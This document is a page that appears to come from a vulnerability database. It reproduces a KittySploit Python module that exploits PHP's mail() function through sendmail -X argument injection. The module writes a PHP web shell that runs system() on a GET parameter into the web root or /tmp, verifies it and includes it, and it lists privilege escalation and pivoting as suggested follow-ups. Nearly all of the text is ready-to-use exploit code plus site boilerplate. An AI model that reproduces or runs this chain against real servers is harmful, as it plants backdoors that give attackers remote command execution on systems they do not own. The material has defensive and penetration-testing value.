PHP mail() / sendmail RCE Chain
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.post.php.helpers import PhpPostHelper
class Module(Post, PhpPostHelper):
__info__ = {
"name": "PHP mail() / sendmail RCE Chain",
"description": (
"Checks mail() availability and sendmail_path, then attempts sendmail "
"argument injection (-X) to write a PHP file into a writable directory."
),
"author": "KittySploit Team",
"arch": Arch.PHP,
"session_type": SessionType.PHP,
"tags": ["php", "mail", "sendmail", "rce", "exploit"],
"references": [
"https://www.exploit-db.com/exploits/1337",
"https://blog.orange.tw/posts/2017-07-07-how-i-chained-4-bugs-on-glassdoor/"],
'agent': {
'risk': 'destructive',
'effects': ['target_modification', 'active_exploitation'],
'expected_requests': 3,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': ['rce', 'shell', 'file_read'],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
output_dir = OptString("", "Directory for -X log/shell file (empty = DOCUMENT_ROOT or /tmp)", False)
shell_name = OptString("ks-mail-shell.php", "Output filename for -X injection", False)
shell_body = OptString(
"<?php echo 'KS_MAIL_RCE'; if(isset($_GET['c'])){system($_GET['c']);} ?>",
"PHP content embedded in the mailed body / log file",
False,
)
test_command = OptString("id", "Command for post-deploy verification (?c=)", False)
cleanup = OptBool(False, "Remove dropped shell after verification", False, advanced=True)
def _resolve_output_dir(self) -> str:
manual = self._opt(self.output_dir)
if manual:
return manual.rstrip("/")
php = """
$doc = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/') : '';
if ($doc !== '' && is_writable($doc)) { echo $doc; return; }
$cwd = getcwd();
if ($cwd && is_writable($cwd)) { echo rtrim($cwd, '/'); return; }
echo '/tmp';
"""
result = (self.cmd_execute(php) or "").strip().splitlines()
return result[-1].strip() if result else "/tmp"
def check(self):
php = """
@error_reporting(0);
$disabled = array_map('trim', explode(',', (string)ini_get('disable_functions')));
$mail_ok = function_exists('mail') && !in_array('mail', $disabled, true);
echo 'mail_available=' . ($mail_ok ? 'yes' : 'no') . "\\n";
echo 'sendmail_path=' . ini_get('sendmail_path') . "\\n";
echo 'sendmail_from=' . ini_get('sendmail_from') . "\\n";
"""
output = self.cmd_execute(php) or ""
print_info(output)
if "mail_available=yes" not in output:
print_error("mail() is disabled or unavailable")
return False
if "sendmail_path=" not in output or output.strip().endswith("sendmail_path="):
print_warning("sendmail_path empty — injection may still work on some hosts")
print_success("mail() appears callable")
return True
def run(self):
if not self.check():
return False
out_dir = self._resolve_output_dir()
shell_name = self._opt(self.shell_name) or "ks-mail-shell.php"
shell_path = f"{out_dir}/{shell_name}"
body = self._opt(self.shell_body)
test_cmd = self._opt(self.test_command)
print_status(f"Attempting sendmail -X write to {shell_path}")
path_esc = self.escape_php(shell_path)
body_esc = self.escape_php(body)
php = f"""
@error_reporting(0);
$to = 'kittysploit@localhost';
$subject = 'ks';
$message = '{body_esc}';
$extra = '-X{path_esc}';
$ok = @mail($to, $subject, $message, $extra);
echo $ok ? 'KS_MAIL_SENT' : 'KS_MAIL_FAIL';
if (file_exists('{path_esc}')) {{
echo '\\nKS_FILE_EXISTS';
echo '\\nSIZE=' . filesize('{path_esc}');
}}
"""
result = self.cmd_execute(php) or ""
print_info(result)
if "KS_FILE_EXISTS" not in result:
print_warning("Sendmail -X did not create the expected file (patched sendmail or open_basedir?)")
return False
print_success(f"File created: {shell_path}")
verify_php = f"""
$path = '{path_esc}';
if (!file_exists($path)) {{ echo 'MISSING'; return; }}
$content = file_get_contents($path);
echo 'PREVIEW:' . substr($content, 0, 300) . "\\n";
if (strpos($content, 'KS_MAIL_RCE') !== false) {{
echo 'MARKER_OK\\n';
}}
"""
preview = self.cmd_execute(verify_php) or ""
print_info(preview)
# Try local include execution if shell is under docroot
exec_php = f"""
$doc = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/') : '';
$path = '{path_esc}';
if ($doc !== '' && strpos($path, $doc) === 0) {{
$url_path = substr($path, strlen($doc));
if ($url_path === '') $url_path = '/{shell_name}';
echo 'URL_PATH=' . $url_path . "\\n";
}}
if (is_readable($path)) {{
ob_start();
include $path;
$out = ob_get_clean();
if (strpos($out, 'KS_MAIL_RCE') !== false) echo 'INCLUDE_OK\\n';
}}
"""
exec_info = self.cmd_execute(exec_php) or ""
if exec_info:
print_info(exec_info)
if self.cleanup:
self.cmd_execute(f"@unlink('{path_esc}'); echo 'cleaned';")
print_good("mail()/sendmail chain completed — verify via HTTP if file is under web root")
return True
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
02 Aug 2026 20:51Current
5.9Medium risk
Vulners AI Score5.9